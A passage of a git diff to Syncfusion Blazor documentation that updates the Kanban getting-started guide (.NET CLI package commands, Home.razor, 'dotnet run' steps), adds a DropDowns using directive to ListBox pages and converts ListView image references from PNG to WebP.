+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -81,39 +113,24 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-{% endtabcontent %}
-
-{% endtabcontents %}
-
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
-
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+Run the following commands to add the packages of  [Syncfusion.Blazor.Kanban](https://www.nuget.org/packages/Syncfusion.Blazor.Kanban/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/):
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight c# tabtitle=".NET CLI" %}
 
-Install-Package Syncfusion.Blazor.Kanban -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Kanban --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add import namespaces
-
-After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Kanban` namespaces.
-
-{% tabs %}
-{% highlight C# tabtitle="~/_Imports.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Kanban
+{% endtabcontent %}
 
-{% endhighlight %}
-{% endtabs %}
+{% endtabcontents %}
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
@@ -135,6 +152,9 @@ builder.Services.AddSyncfusionBlazor();
 
 The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
+- Add the **stylesheet reference inside the `<head>` tag** of the `index.html` file.
+- Add the **script reference inside the `<body>` tag** of the `index.html` file.
+
 ```html
 
 <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
@@ -147,47 +167,10 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Kanban component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Kanban component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Kanban component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Kanban
-
-<SfKanban TValue="TasksModel">
-    <KanbanColumns>
-        <KanbanColumn HeaderText="To Do" KeyField="@(new List<string>() {"Open"})"></KanbanColumn>
-        <KanbanColumn HeaderText="In Progress" KeyField="@(new List<string>() {"InProgress"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Testing" KeyField="@(new List<string>() {"Testing"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Done" KeyField="@(new List<string>() {"Close"})"></KanbanColumn>
-    </KanbanColumns>
-</SfKanban>
-
-@code {
-    public class TasksModel
-    {
-        public string Id { get; set; }
-        public string Title { get; set; }
-        public string Status { get; set; }
-        public string Summary { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Kanban component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBpZMLOpgSSDQVm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Kanban Component](./images/blazor-kanban-component.png)" %}
-
-N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Kanban).
-
-## Populate kanban with cards
-
-To populate the empty Kanban with cards, define the Enumerable object or remote data using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Kanban.SfKanban-1.html#Syncfusion_Blazor_Kanban_SfKanban_1_DataSource) property. To define `DataSource`, the mandatory fields in object or remote data should be relevant to [KeyField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Kanban.SfKanban-1.html#Syncfusion_Blazor_Kanban_SfKanban_1_KeyField). In the following example, you can see the cards defined with default fields such as ID, Summary, and Status.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% highlight razor %}
 
 @using Syncfusion.Blazor.Kanban
 
@@ -226,76 +209,23 @@ To populate the empty Kanban with cards, define the Enumerable object or remote
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBTtChkTKoFctAY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Kanban with Cards](./images/blazor-kanban-with-cards.png)" %}
-
-## Enable swimlane functionality
-
-`Swimlane` can be enabled by mapping the fields [KanbanSwimlaneSettings.KeyField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Kanban.SfKanban-1.html#Syncfusion_Blazor_Kanban_SfKanban_1_SwimlaneSettings) to appropriate column name in DataSource. This enables the grouping of the cards based on the mapped column values.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrxteMFgkJuRQhn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-@using Syncfusion.Blazor.Kanban
+### Run the application
 
-<SfKanban TValue="TasksModel" KeyField="Status" DataSource="Tasks">
-    <KanbanColumns>
-        <KanbanColumn HeaderText="To Do" KeyField="@(new List<string>() {"Open"})"></KanbanColumn>
-        <KanbanColumn HeaderText="In Progress" KeyField="@(new List<string>() {"InProgress"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Testing" KeyField="@(new List<string>() {"Testing"})"></KanbanColumn>
-        <KanbanColumn HeaderText="Done" KeyField="@(new List<string>() {"Close"})"></KanbanColumn>
-    </KanbanColumns>
-    <KanbanCardSettings HeaderField="Title" ContentField="Summary"></KanbanCardSettings>
-    <KanbanSwimlaneSettings KeyField="Assignee"></KanbanSwimlaneSettings>
-</SfKanban>
-
-@code {
-    public class TasksModel
-    {
-        public string Id { get; set; }
-        public string Title { get; set; }
-        public string Status { get; set; }
-        public string Summary { get; set; }
-        public string Assignee { get; set; }
-    }
+**Visual Studio**:
 
-    public List<TasksModel> Tasks = new List<TasksModel>()
-    {
-        new TasksModel { Id = "Task 1", Title = "BLAZ-29001", Status = "Open", Summary = "Analyze the new requirements gathered from the customer.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 2", Title = "BLAZ-29002", Status = "InProgress", Summary = "Improve application performance", Assignee = "Andrew Fuller" },
-        new TasksModel { Id = "Task 3", Title = "BLAZ-29003", Status = "Open", Summary = "Arrange a web meeting with the customer to get new requirements.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 4", Title = "BLAZ-29004", Status = "InProgress", Summary = "Fix the issues reported in the IE browser.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 5", Title = "BLAZ-29005", Status = "Review", Summary = "Fix the issues reported by the customer.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 6", Title = "BLAZ-29006", Status = "Review", Summary = "Fix the issues reported in Safari browser.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 7", Title = "BLAZ-29007", Status = "Close", Summary = "Test the application in the IE browser.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 8", Title = "BLAZ-29008", Status = "Validate", Summary = "Validate the issues reported by the customer.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 9", Title = "BLAZ-29009", Status = "Open", Summary = "Show the retrieved data from the server in grid control.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 10", Title = "BLAZ-29010", Status = "InProgress", Summary = "Fix cannot open user’s default database SQL error.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 11", Title = "BLAZ-29011", Status = "Review", Summary = "Fix the issues reported in data binding.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 12", Title = "BLAZ-29012", Status = "Close", Summary = "Analyze SQL server 2008 connection.", Assignee = "Andrew Fuller" },
-        new TasksModel { Id = "Task 13", Title = "BLAZ-29013", Status = "Validate", Summary = "Validate databinding issues.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 14", Title = "BLAZ-29014", Status = "Close", Summary = "Analyze grid control.", Assignee = "Margaret hamilt" },
-        new TasksModel { Id = "Task 15", Title = "BLAZ-29015", Status = "Close", Summary = "Stored procedure for initial data binding of the grid.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 16", Title = "BLAZ-29016", Status = "Close", Summary = "Analyze stored procedures.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 17", Title = "BLAZ-29017", Status = "Validate", Summary = "Validate editing issues.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 18", Title = "BLAZ-29018", Status = "Review", Summary = "Test editing functionality.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 19", Title = "BLAZ-29019", Status = "Open", Summary = "Enhance editing functionality.", Assignee = "Andrew Fuller" },
-        new TasksModel { Id = "Task 20", Title = "BLAZ-29020", Status = "InProgress", Summary = "Improve the performance of the editing functionality.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 21", Title = "BLAZ-29021", Status = "Open", Summary = "Arrange web meeting with the customer to show editing demo.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 22", Title = "BLAZ-29022", Status = "Review", Summary = "Fix the editing issues reported by the customer.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 23", Title = "BLAZ-29023", Status = "Testing", Summary = "Fix the issues reported by the customer.", Assignee = "Steven walker" },
-        new TasksModel { Id = "Task 24", Title = "BLAZ-29024", Status = "Testing", Summary = "Fix the issues reported in Safari browser.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 25", Title = "BLAZ-29025", Status = "Testing", Summary = "Fix the issues reported in data binding.", Assignee = "Janet Leverling" },
-        new TasksModel { Id = "Task 26", Title = "BLAZ-29026", Status = "Testing", Summary = "Test editing functionality.", Assignee = "Nancy Davloio" },
-        new TasksModel { Id = "Task 27", Title = "BLAZ-29027", Status = "Testing", Summary = "Test editing feature in the IE browser.", Assignee = "Janet Leverling" }
-    };
-}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The Blazor Gantt Chart component will render in your default web browser.
 
-{% endhighlight %}
-{% endtabs %}
+**Visual Studio Code or .NET CLI**:
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrfNCraJAdqIiOM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Kanban with Swimlane](./images/blazor-kanban-with-swimlane.png)" %}
+1. Open a terminal in the project directory and run the following command:
+    ```
+    dotnet run
+    ```
+2. The application will start and display in your default web browser.
 
-N> You can also explore our [Blazor Kanban Board example](https://blazor.syncfusion.com/demos/kanban/overview?theme=bootstrap5) that shows you how to render and configure the bullet chart.
+N> You can also explore our [Blazor Kanban Board example](https://blazor.syncfusion.com/demos/kanban/overview?theme=bootstrap5) that shows you how to render and configure the Kanban Board.
 
 ## See also
 
diff --git a/blazor/listbox/getting-started-webapp.md b/blazor/listbox/getting-started-webapp.md
index de83c25098..d3d6240368 100644
--- a/blazor/listbox/getting-started-webapp.md
+++ b/blazor/listbox/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfListBox TValue="string[]" TItem="string[]"></SfListBox>
 
 {% endhighlight %}
@@ -179,6 +181,8 @@ After initialization, populate the ListBox using the `DataSource` property. In t
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfListBox TValue="string[]" DataSource="@Vehicles" TItem="VehicleData">
     <ListBoxFieldSettings Text="Text" Value="Id" />
 </SfListBox>
diff --git a/blazor/listbox/getting-started-with-server-app.md b/blazor/listbox/getting-started-with-server-app.md
index c7d3f8d49b..975b44b199 100644
--- a/blazor/listbox/getting-started-with-server-app.md
+++ b/blazor/listbox/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfListBox TValue="string[]"></SfListBox>
 
 {% endhighlight %}
@@ -173,6 +175,8 @@ After initialization, populate the ListBox using the `DataSource` property. The
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfListBox TValue="string[]" DataSource="@Vehicles" TItem="VehicleData">
     <ListBoxFieldSettings Text="Text" Value="Id" />
 </SfListBox>
diff --git a/blazor/listview/check-list.md b/blazor/listview/check-list.md
index fd09516546..91f97d8aa4 100644
--- a/blazor/listview/check-list.md
+++ b/blazor/listview/check-list.md
@@ -46,7 +46,7 @@ private DataModel[] Data = {
 }
 ```
 
-![Blazor ListView with Checklist](./images/list/blazor-listview-with-checklist.png)
+![Blazor ListView with Checklist](./images/list/blazor-listview-with-checklist.webp)
 
 ## Checkbox Position
 
@@ -83,4 +83,4 @@ private DataModel[] Data = {
 }
 ```
 
-![Changing Checklist Position in Blazor ListView](./images/list/blazor-listview-checklist-position.png)
\ No newline at end of file
+![Changing Checklist Position in Blazor ListView](./images/list/blazor-listview-checklist-position.webp)
\ No newline at end of file
diff --git a/blazor/listview/customizing-templates.md b/blazor/listview/customizing-templates.md
index 23e7a85691..894108af22 100644
--- a/blazor/listview/customizing-templates.md
+++ b/blazor/listview/customizing-templates.md
@@ -61,7 +61,7 @@ ListView header can be customized with the help of the [`HeaderTemplate`](https:
 }
 ```
 
-![Blazor ListView with Header Template](./images/list/blazor-listview-header-template.png)
+![Blazor ListView with Header Template](./images/list/blazor-listview-header-template.webp)
 
 ## Template
 
@@ -232,7 +232,7 @@ The following built-in CSS classes can be used to customize the list-items.
 
 ```
 
-![Blazor ListView with Item template](./images/list/blazor-listview-item-template.png)
+![Blazor ListView with Item template](./images/list/blazor-listview-item-template.webp)
 
 ## Group template
 
@@ -297,4 +297,4 @@ In the following example, ListView is grouped based on the category. The categor
 
 ```
 
-![Blazor ListView with Group Template](./images/list/blazor-listview-group-template.png)
+![Blazor ListView with Group Template](./images/list/blazor-listview-group-template.webp)
diff --git a/blazor/listview/data-binding.md b/blazor/listview/data-binding.md
index 96791e5a0e..8db5d92fa4 100644
--- a/blazor/listview/data-binding.md
+++ b/blazor/listview/data-binding.md
@@ -68,7 +68,7 @@ ListView can generate its list items through an array of complex data. To get it
 }
 ```
 
-![Data Binding in Blazor ListView](./images/list/blazor-listview-data-binding.png)
+![Data Binding in Blazor ListView](./images/list/blazor-listview-data-binding.webp)
 
 ## Bind to remote data
 
@@ -100,7 +100,7 @@ In the following sample, `first 6 products` from the **Product** table of **Nort
 }
 ```
 
-![Data Binding in Blazor ListView](./images/list/blazor-listview-binding-data.png)
+![Data Binding in Blazor ListView](./images/list/blazor-listview-binding-data.webp)
 
 ## Entity Framework
 
@@ -309,4 +309,4 @@ You can perform CRUD operations like Add and Delete using the `Add` and `Delete
 N> You can find the fully working sample [here](https://github.com/SyncfusionExamples/Blazor-ListView-Entity-Framework).
 
 The following GIF represents the ListView with Add and Delete the list items.
-![Blazor ListView with CRUD Operations](./images/blazor-listview-crud-operation.gif)
\ No newline at end of file
+![Blazor ListView with CRUD Operations](./images/blazor-listview-crud-operation.webp)
\ No newline at end of file
diff --git a/blazor/listview/getting-started-webapp.md b/blazor/listview/getting-started-webapp.md
index 108cdf018b..788861b8f7 100644
--- a/blazor/listview/getting-started-webapp.md
+++ b/blazor/listview/getting-started-webapp.md
@@ -196,7 +196,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ListView component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJNiKZCcZdGkXn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ListView Component](./images/blazor-listview.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJNiKZCcZdGkXn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ListView Component](./images/blazor-listview.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ListView).
 
diff --git a/blazor/listview/getting-started-with-server-app.md b/blazor/listview/getting-started-with-server-app.md
index 0c92cdd5d5..4c013e363a 100644
--- a/blazor/listview/getting-started-with-server-app.md
+++ b/blazor/listview/getting-started-with-server-app.md
@@ -190,7 +190,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ListView component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJNiKZCcZdGkXn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ListView Component](./images/blazor-listview.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJNiKZCcZdGkXn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ListView Component](./images/blazor-listview.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ListView).
 
diff --git a/blazor/listview/getting-started.md b/blazor/listview/getting-started.md
index 6b1bfca8c2..c847fce4f8 100644
--- a/blazor/listview/getting-started.md
+++ b/blazor/listview/getting-started.md
@@ -179,7 +179,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ListView compone
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ListView component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJNiKZCcZdGkXn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ListView Component](./images/blazor-listview.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNLJNiKZCcZdGkXn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ListView Component](./images/blazor-listview.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ListView).
 
diff --git a/blazor/listview/grouping.md b/blazor/listview/grouping.md
index 7e70b796a2..42b7c9f0d9 100644
--- a/blazor/listview/grouping.md
+++ b/blazor/listview/grouping.md
@@ -39,4 +39,4 @@ The ListView supports to wrap the nested element into a group based on the categ
 
 ```
 
-![Grouping in Blazor ListView](./images/list/blazor-listview-grouping.png)
\ No newline at end of file
+![Grouping in Blazor ListView](./images/list/blazor-listview-grouping.webp)
\ No newline at end of file
diff --git a/blazor/listview/how-to/add-and-remove-list-items-from-listview.md b/blazor/listview/how-to/add-and-remove-list-items-from-listview.md
index 3b9e4c50aa..116add0236 100644
--- a/blazor/listview/how-to/add-and-remove-list-items-from-listview.md
+++ b/blazor/listview/how-to/add-and-remove-list-items-from-listview.md
@@ -102,4 +102,4 @@ Refer to the following steps to add or remove a list item.
 </style>
 ```
 
-![Add or Remove List Items in Blazor ListView](../images/list/blazor-listview-add-and-remove-list-items.png)
+![Add or Remove List Items in Blazor ListView](../images/list/blazor-listview-add-and-remove-list-items.webp)
diff --git a/blazor/listview/how-to/chat-window-user-interface-using-listview.md b/blazor/listview/how-to/chat-window-user-interface-using-listview.md
index c70b1324d8..17c21e6ec1 100644
--- a/blazor/listview/how-to/chat-window-user-interface-using-listview.md
+++ b/blazor/listview/how-to/chat-window-user-interface-using-listview.md
@@ -275,4 +275,4 @@ void OnSend()
 
 ```
 
-![Blazor ListView with Chat Window](../images/list/blazor-listview-with-chat-window.png)
+![Blazor ListView with Chat Window](../images/list/blazor-listview-with-chat-window.webp)
diff --git a/blazor/listview/how-to/create-dual-list-from-listview.md b/blazor/listview/how-to/create-dual-list-from-listview.md
index 370e2e3bd4..39f0cff389 100644
--- a/blazor/listview/how-to/create-dual-list-from-listview.md
+++ b/blazor/listview/how-to/create-dual-list-from-listview.md
@@ -258,4 +258,4 @@ The following example demonstrates how to manipulate data between two ListView c
 </style>
 ```
 
-![Displaying Dual List in Blazor ListView](../images/list/blazor-listview-with-dual-list.png)
+![Displaying Dual List in Blazor ListView](../images/list/blazor-listview-with-dual-list.webp)
diff --git a/blazor/listview/how-to/create-mobile-contact-layout-from-listview.md b/blazor/listview/how-to/create-mobile-contact-layout-from-listview.md
index 764fccdfaf..56d98aa4b8 100644
--- a/blazor/listview/how-to/create-mobile-contact-layout-from-listview.md
+++ b/blazor/listview/how-to/create-mobile-contact-layout-from-listview.md
@@ -185,4 +185,4 @@ ListDataModel item = context as ListDataModel;
 
 ```
 
-![Blazor ListView with Mobile Contact Layout](../images/list/blazor-listview-mobile-contact-layout.png)
\ No newline at end of file
+![Blazor ListView with Mobile Contact Layout](../images/list/blazor-listview-mobile-contact-layout.webp)
\ No newline at end of file
diff --git a/blazor/listview/how-to/customize-listview-as-grid-layout.md b/blazor/listview/how-to/customize-listview-as-grid-layout.md
index 750d22c763..b1793d8770 100644
--- a/blazor/listview/how-to/customize-listview-as-grid-layout.md
+++ b/blazor/listview/how-to/customize-listview-as-grid-layout.md
@@ -474,4 +474,4 @@ The below code explains adding, removing, searching and sorting within a list of
 </style>
 ```
 
-![Blazor ListView with Grid Layout](../images/list/blazor-listview-with-grid-layout.png)
+![Blazor ListView with Grid Layout](../images/list/blazor-listview-with-grid-layout.webp)
diff --git a/blazor/listview/how-to/dynamic-templates-in-listview-based-on-device.md b/blazor/listview/how-to/dynamic-templates-in-listview-based-on-device.md
index e7aa3337dd..353c84410a 100644
--- a/blazor/listview/how-to/dynamic-templates-in-listview-based-on-device.md
+++ b/blazor/listview/how-to/dynamic-templates-in-listview-based-on-device.md
@@ -178,6 +178,6 @@ In the ListView component, [`template`](https://help.syncfusion.com/cr/blazor/Sy
 
 ```
 
-![Blazor ListView with Dynamic Layout](../images/list/blazor-listview-with-dynamic-layout.png)
+![Blazor ListView with Dynamic Layout](../images/list/blazor-listview-with-dynamic-layout.webp)
 
 N> Make sure to register the **builder.Services.AddHttpContextAccessor();** service in the **Program.cs** file. This is required to access the current HTTP context in your application.
\ No newline at end of file
diff --git a/blazor/listview/how-to/filter-and-search-list-items-using-listview.md b/blazor/listview/how-to/filter-and-search-list-items-using-listview.md
index 06d3c72813..a03a046075 100644
--- a/blazor/listview/how-to/filter-and-search-list-items-using-listview.md
+++ b/blazor/listview/how-to/filter-and-search-list-items-using-listview.md
@@ -102,4 +102,4 @@ The filtered data can be displayed in the ListView component depending on the us
 
 ```
 
-![Filter and Search Items in Blazor ListView](../images/list/blazor-listview-filter-and-search-items.png)
+![Filter and Search Items in Blazor ListView](../images/list/blazor-listview-filter-and-search-items.webp)
diff --git a/blazor/listview/how-to/get-selected-items-from-listview.md b/blazor/listview/how-to/get-selected-items-from-listview.md
index c6ab0f830a..1e978b3b1a 100644
--- a/blazor/listview/how-to/get-selected-items-from-listview.md
+++ b/blazor/listview/how-to/get-selected-items-from-listview.md
@@ -108,7 +108,7 @@ Here's a code snippet illustrating the implementation:
 </style>
 ```
 
-![Getting Selected Item in Blazor ListView](../images/list/get-selected-items-from-listview.png)
+![Getting Selected Item in Blazor ListView](../images/list/get-selected-items-from-listview.webp)
 
 
 ## Get selected items from custom template in Blazor ListView Component
@@ -198,5 +198,5 @@ In scenarios where you build custom templates in Blazor ListView Component, you
 </style>
 ```
 
-![Getting Selected Item from Blazor ListView](../images/list/blazor-listview-display-seleted-item.png)
+![Getting Selected Item from Blazor ListView](../images/list/blazor-listview-display-seleted-item.webp)
 
diff --git a/blazor/listview/how-to/html-attribute-support.md b/blazor/listview/how-to/html-attribute-support.md
index 373023f7c3..237211c85c 100644
--- a/blazor/listview/how-to/html-attribute-support.md
+++ b/blazor/listview/how-to/html-attribute-support.md
@@ -41,4 +41,4 @@ The following example demonstrates how to set the **id**, **style**, and **title
 
 ```
 
-![Blazor ListView with HTML Attribute](./../images/blazor-listview-with-html.png)
+![Blazor ListView with HTML Attribute](./../images/blazor-listview-with-html.webp)
diff --git a/blazor/listview/how-to/listview-with-hyper-link-navigation.md b/blazor/listview/how-to/listview-with-hyper-link-navigation.md
index 34f4a6ff7c..6dd1e5e65a 100644
--- a/blazor/listview/how-to/listview-with-hyper-link-navigation.md
+++ b/blazor/listview/how-to/listview-with-hyper-link-navigation.md
@@ -94,4 +94,4 @@ The `anchor` tag can be used along with `href` attribute in the ListView [`Templ
 </style>
 ```
 
-![Blazor ListView with Hyperlink](../images/list/blazor-listview-with-hyperlink.png)
+![Blazor ListView with Hyperlink](../images/list/blazor-listview-with-hyperlink.webp)
diff --git a/blazor/listview/how-to/trace-events-of-listview.md b/blazor/listview/how-to/trace-events-of-listview.md
index a1b5bce1f7..51364d2b6d 100644
--- a/blazor/listview/how-to/trace-events-of-listview.md
+++ b/blazor/listview/how-to/trace-events-of-listview.md
@@ -112,4 +112,4 @@ The ListView component triggers events based on its actions. The events can be u
 </style>
 ```
 
-![Displaying Event Action in Blazor ListView](../images/list/blazor-listview-trace-events.png)
+![Displaying Event Action in Blazor ListView](../images/list/blazor-listview-trace-events.webp)
diff --git a/blazor/listview/images/1.png b/blazor/listview/images/1.png
deleted file mode 100644
index 6772011469..0000000000
Binary files a/blazor/listview/images/1.png and /dev/null differ
diff --git a/blazor/listview/images/1.webp b/blazor/listview/images/1.webp
new file mode 100644
index 0000000000..5e6617f809
Binary files /dev/null and b/blazor/listview/images/1.webp differ
diff --git a/blazor/listview/images/2.png b/blazor/listview/images/2.png
deleted file mode 100644
index c038c884af..0000000000
Binary files a/blazor/listview/images/2.png and /dev/null differ
diff --git a/blazor/listview/images/2.webp b/blazor/listview/images/2.webp
new file mode 100644
index 0000000000..b28d751fbb
Binary files /dev/null and b/blazor/listview/images/2.webp differ
diff --git a/blazor/listview/images/3.png b/blazor/listview/images/3.png
deleted file mode 100644
index 02403629be..0000000000
Binary files a/blazor/listview/images/3.png and /dev/null differ
diff --git a/blazor/listview/images/3.webp b/blazor/listview/images/3.webp
new file mode 100644
index 0000000000..d699afa317
Binary files /dev/null and b/blazor/listview/images/3.webp differ
diff --git a/blazor/listview/images/4.png b/blazor/listview/images/4.png
deleted file mode 100644
index c2166f16a5..0000000000
Binary files a/blazor/listview/images/4.png and /dev/null differ
diff --git a/blazor/listview/images/4.webp b/blazor/listview/images/4.webp
new file mode 100644
index 0000000000..ec7f90f5b9
Binary files /dev/null and b/blazor/listview/images/4.webp differ
diff --git a/blazor/listview/images/5.png b/blazor/listview/images/5.png
deleted file mode 100644
index 5477dece42..0000000000
Binary files a/blazor/listview/images/5.png and /dev/null differ
diff --git a/blazor/listview/images/5.webp b/blazor/listview/images/5.webp
new file mode 100644
index 0000000000..64af7725cf
Binary files /dev/null and b/blazor/listview/images/5.webp differ
diff --git a/blazor/listview/images/6.png b/blazor/listview/images/6.png
deleted file mode 100644
index c86c4e53de..0000000000
Binary files a/blazor/listview/images/6.png and /dev/null differ
diff --git a/blazor/listview/images/6.webp b/blazor/listview/images/6.webp
new file mode 100644
index 0000000000..ee14af6d70
Binary files /dev/null and b/blazor/listview/images/6.webp differ
diff --git a/blazor/listview/images/7.png b/blazor/listview/images/7.png
deleted file mode 100644
index dba7673f82..0000000000
Binary files a/blazor/listview/images/7.png and /dev/null differ
diff --git a/blazor/listview/images/7.webp b/blazor/listview/images/7.webp
new file mode 100644
index 0000000000..56dadab725
Binary files /dev/null and b/blazor/listview/images/7.webp differ
diff --git a/blazor/listview/images/8.png b/blazor/listview/images/8.png
deleted file mode 100644
index 861f5907af..0000000000
Binary files a/blazor/listview/images/8.png and /dev/null differ
diff --git a/blazor/listview/images/8.webp b/blazor/listview/images/8.webp
new file mode 100644
index 0000000000..4976db2385
Binary files /dev/null and b/blazor/listview/images/8.webp differ
diff --git a/blazor/listview/images/9.png b/blazor/listview/images/9.png
deleted file mode 100644
index 6892ac20bd..0000000000
